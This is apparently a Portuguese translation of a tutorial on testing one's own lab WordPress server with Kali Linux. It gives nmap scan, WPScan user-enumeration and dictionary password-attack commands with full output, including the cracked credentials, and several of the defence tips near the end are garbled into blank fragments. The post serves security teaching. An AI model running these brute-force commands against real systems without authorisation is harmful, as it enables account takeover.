Encontre e não neutralize: escrevendo testes de penetração com Kali Linux

Kali e outras ferramentas semelhantes ajudam a detectar vulnerabilidades em seu software. E é melhor se você os encontrar primeiro, e não os intrusos.







Você não pode esconder um furador em um saco: por ignorância (embora em alguns casos - intencionalmente), até mesmo as grandes corporações deixam buracos em seus sistemas de segurança. É vital (1) localizar e (2) corrigi-los o mais rápido possível. Felizmente, existem muitos produtos diferentes que ajudam com o primeiro ponto. Entre eles está Kali , uma distribuição Linux projetada para testes de segurança. Neste artigo, mostrarei como usar o Kali Linux para investigar seu sistema e encontrar fraquezas simulando um invasor.



A distribuição Kali inclui muitas ferramentas, todas de código aberto. Basta executar a instalação da distribuição e todas essas ferramentas estarão disponíveis fora da caixa.







Imagem : Peter Gervase , CC BY-SA 4.0



Vou usar dois sistemas como cobaias:



  1. kali.usersys.redhat.com : 30 GB de memória e 6 CPUs virtuais. Este sistema fará a varredura da vítima e lançará ataques.



  2. vulnerável.usersys.redhat.com : Um sistema com Red Hat Enterprise Linux 8 integrado. Aqui, ele precisará ser atacado.


Mencionei aqui as características técnicas do equipamento por um motivo. Algumas de nossas tarefas exigem bastante do hardware, principalmente da CPU do sistema 2, que executará o verificador de segurança do WordPress ( WPScan ).



Procure portas abertas



Comecei com uma varredura básica do sistema 2. Escaneando o sistema com o Nmap , você pode descobrir quais portas e serviços estão visíveis no sistema 1 iniciando a varredura.







Imagem : Peter Gervase , CC BY-SA 4.0



Portanto, a primeira coisa a fazer é encontrar algumas portas abertas “interessantes” - pontos fracos em potencial. Na verdade, qualquer porta aberta é interessante porque é mais provável que comprometa a rede. Neste exemplo, 21, 22, 80 e 443 também são portas para serviços usados ​​com frequência. Mas, por enquanto, estou apenas fazendo inteligência e tentando obter o máximo de informações possível sobre o sistema que desejo hackear.



Depois disso, para uma análise mais profunda, selecionarei a porta 80 e executarei o comando Nmap com os argumentos -p 80 e -A. Isso permite que você obtenha informações sobre o sistema operacional e o aplicativo que está usando a porta 80.







Imagem : Peter Gervase , CC BY-SA 4.0



Aqui estamos interessados ​​nas seguintes linhas:



PORT   STATE SERVICE VERSION

80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))

|_http-generator: WordPress 5.6.1
      
      







Encontrar informações sobre os usuários



Como agora sei que este é um servidor WordPress, posso usar o WPScan para obter informações sobre vulnerabilidades em potencial. Seria bom encontrar vários nomes de usuário e suas senhas. Para encontrá-los em uma determinada instância do WordPress, use as opções --enumerate u: Ótimo, encontramos dois usuários: admin e pgervase . Tentarei adivinhar a senha do usuário administrador usando dicionários de senha - um arquivo de texto com um conjunto de opções possíveis. Vou pegar dicionários de 3.231 e 3.543.076.137 linhas.



┌──(rootkali)-[~]



└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u



_______________________________________________________________



        __              _______   _____



        \ \     / /  __ \ / ____|



        \ \  /\  / /| |__) | (___   ___  __ _ _ __



        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \



                \  /\  /  | |   ____) | (__| (_| | | | |



                \/  \/   |_|    |_____/ \___|\__,_|_| |_|



        WordPress Security Scanner by the WPScan Team



                        Version 3.8.10



        Sponsored by Automattic — https://automattic.com/



        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart



_______________________________________________________________



[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]



[+] Started: Tue Feb 16 21:38:49 2021



Interesting Finding(s):



...



[i] User(s) Identified:



[+] admin



 | Found By: Author Posts — Display Name (Passive Detection)



 | Confirmed By:



 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)



 |  Login Error Messages (Aggressive Detection)



[+] pgervase



 | Found By: Author Posts — Display Name (Passive Detection)



 | Confirmed By:



 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)



 |  Login Error Messages (Aggressive Detection)











Adivinhação de senha com ataque de dicionário



Várias ferramentas podem ser usadas para ataques de dicionário. Aqui estão dois comandos de exemplo com Nmap e WPScan:



# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com

# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

      
      





Essas duas ferramentas, é claro, podem fazer muito mais, mas também são adequadas para adivinhar senhas. 



Mas este comando WPScan, por exemplo, exibe a senha no final do arquivo:



┌──(rootkali)-[~]

└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin

_______________________________________________________________

        __              _______   _____

        \ \     / /  __ \ / ____|

        \ \  /\  / /| |__) | (___   ___  __ _ _ __ 

        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \

                \  /\  /  | |   ____) | (__| (_| | | | |

                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team

                        Version 3.8.10

        Sponsored by Automattic — https://automattic.com/

        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]

[+] Started: Thu Feb 18 20:32:13 2021

Interesting Finding(s):

…..

[+] Performing password attack on Wp Login against 1 user/s

Trying admin / redhat Time: 00:01:57 

<==================================================================================================================>

 (3231 / 3231) 100.00% Time: 00:01:57

Trying admin / redhat Time: 00:01:57 

<=========================================================            

                                             > (3231 / 6462) 50.00% 

 ETA: ??:??:??

[SUCCESS] — admin / redhat                                              

                                                                        

                                                

[!] Valid Combinations Found:

 | Username: admin, Password: redhat
      
      





A seção Combinações válidas encontradas no final contém o nome de usuário admin e sua senha. Demorou apenas dois minutos para iterar em 3.231 linhas.



Tenho outro arquivo de dicionário com 3.238.659.984 entradas exclusivas, o que levará muito mais tempo.



O Nmap produz resultados muito mais rápidos:



┌──(rootkali)-[~]

└─# nmap -sV --script http-wordpress-brute 

--script-args userdb=users.txt,passdb=password.txt,threads=6 

vulnerable.usersys.redhat.com

Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST

Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)

Host is up (0.00015s latency).

Not shown: 995 closed ports

PORT    STATE SERVICE VERSION

21/tcp   open  ftp      vsftpd 3.0.3

22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)

80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))

|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)

| http-wordpress-brute:

|   Accounts:

|       admin:redhat — Valid credentials              <<<<<<<

|       pgervase:redhat — Valid credentials         <<<<<<<

|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0

111/tcp  open  rpcbind 2-4 (RPC #100000)

| rpcinfo:

|   program version     port/proto  service

|   100000  2,3,4       111/tcp   rpcbind

|   100000  2,3,4       111/udp   rpcbind

|   100000  3,4         111/tcp6  rpcbind

|_  100000  3,4         111/udp6  rpcbind

3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB

MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)

Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
      
      







É verdade que essa verificação pode ser rastreada pelos logs HTTPD que serão detectados no sistema comprometido:



10.19.47.170

 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575

 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 

(https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»
      
      







Pesquisar vulnerabilidade Heartbleed



Para obter informações sobre o servidor HTTPS e os protocolos SSL / TLS, uso o comando sslscan:



┌──(rootkali)-[~]

└─# sslscan vulnerable.usersys.redhat.com

Version: 2.0.6-static

OpenSSL 1.1.1i-dev  xx XXX xxxx

Connected to 10.19.47.242

Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com

  SSL/TLS Protocols:

SSLv2   disabled

SSLv3   disabled

TLSv1.0   disabled

TLSv1.1   disabled

TLSv1.2   enabled

TLSv1.3   enabled

<snip>
      
      







Vemos que nenhuma vulnerabilidade Heartbleed foi encontrada nas versões de protocolo usadas no servidor :



Heartbleed:

TLSv1.3 not vulnerable to heartbleed

TLSv1.2 not vulnerable to heartbleed
      
      







Bem, isso significa que não consigo acessar a RAM e os dados do servidor por meio do módulo Heartbeat. Bem ... não é o destino :)



Dicas de prevenção e proteção contra hackers



Você pode escrever muitos artigos sobre como resistir a ataques de hackers de todos os tipos. Aqui, vou me limitar às recomendações gerais:



  • Examine seu sistema : quais portas estão abertas, quais portas devem ser abertas, quem deve ser capaz de ver essas portas e quanto tráfego deve passar por elas. Nmap para te ajudar.



  • : , , ​​. .



  • : , , WordPress, IP- . , IP- , . , .



  • : , .



  • : , . , .



  • , : , « - ».



  • Aproveite as ferramentas adicionais de seus fornecedores de software: por exemplo, o Red Hat Enterprise Linux inclui o Red Hat Insights para ajustar seu sistema e alertá-lo sobre possíveis ameaças de segurança em tempo hábil.


Materiais úteis (em inglês)



O que é descrito neste artigo é apenas a ponta do iceberg. Para se aprofundar, você pode explorar os seguintes recursos:










Os servidores em nuvem da Macleod são rápidos e seguros.



Cadastre-se pelo link acima ou clicando no banner e ganhe 10% de desconto no primeiro mês de aluguel de um servidor de qualquer configuração!






All Articles